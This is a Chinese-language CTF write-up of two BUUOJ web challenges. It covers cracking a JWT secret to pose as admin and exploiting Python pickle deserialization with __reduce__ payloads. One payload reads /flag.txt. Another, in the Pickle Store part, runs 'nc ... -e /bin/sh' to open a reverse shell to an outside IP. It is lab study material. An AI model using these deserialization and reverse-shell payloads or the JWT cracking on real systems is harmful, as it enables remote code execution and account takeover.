需要我们一页一页查找,lv6这里借助脚本
import requests
for i in range(1,1000):
payload="http://c277a9df-707f-409f-8911-09ac64b10d7f.node4.buuoj.cn:81/shop?page=%d"%(i)
res=requests.get(payload)
if "lv6.png" in res.content.decode('utf-8'):
print(i)
break
使用requests库发送请求的时候
html = requests.get(url).content.decode(“utf-8”)
#这里的.content就是读取源文件字节流,随后将该字节流编码为Unicode编码,方便再进行更加精确的解码
html = requests.get(url).text.encode(“utf-8”)
也就是res.可以换成text
然后是181页,可是
明显不够我们就1000也没有充值界面,所以最有可能的就是这个优惠看是否可以修改
以为要成功可是,限制admin,所以我们就要看一下是通过什么判断我的用户名的
看见了jwt,通过上面链接了解jwt由三个部分组成,前两个部分分别是base64编码,解码可以获得
https://github.com/brendan-rius/c-jwt-cracker
apt-get install git git clone https://github.com/brendan-rius/c-jwt-cracker下载到本地后需要使用,make命令,就会生成jwtcrack
./jwtcrack 加密后的结果
找到了密码,然后就可以更改为admin
然后发现了一个zip文件,解压后是一个python文件。
最后在文件中找到这个有用的
Admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
p = pickle.loads(urllib.unquote(become))
反序列化的漏洞,然后看见了become,看见这个参数也是可控的
python 使用get_argument获取url query参数
如何区分python2和python3版本
python2中的print "" 输出加不加括号都可以
而 python3中的print()必须要加括号
文件中翻了半天,看见一个print没加括号python2的版本,
这里为什么要找呢,因为如果是python3的序列化,python2反序列化就会出错,或者你直接在python2中构造序列化也可以。
import pickle
import urllibclass payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))a = pickle.dumps(payload()) //序列化
a = urllib.quote(a) //相当于url编码
print(a)
反序列化的时候会自动调用reduce
然后修改,就可以了,这里直接抓包
这个界面就会自己出现xsrf和become本来还纠结怎么传参, 结果题中都给了出来。这题考察的python还是简单的这种,勉强能做继续探索把少年!
[watevrCTF-2019]Pickle Store
打开界面发现我们有500需要1000,抓个包看看里面有什么
发现session有些可疑感觉是base64编码,然后根据pickle,python反序列化无疑了
反序列化输出一下
import base64
import pickle
a=b"gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(base64.b64decode(a)))
所以session里面,会自动进行反序列化的操作,这里我们可以直接反弹shell
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc 171.47.427.57 4499 -e /bin/sh')",))
a = A()
print( base64.b64encode( pickle.dumps(a) ) )
直接
改变session中的值,然后点击buy就会反弹sehll
然后服务器监听端口,就会连接,就可以执行自己的操作。
实验buu反弹到kali行不通!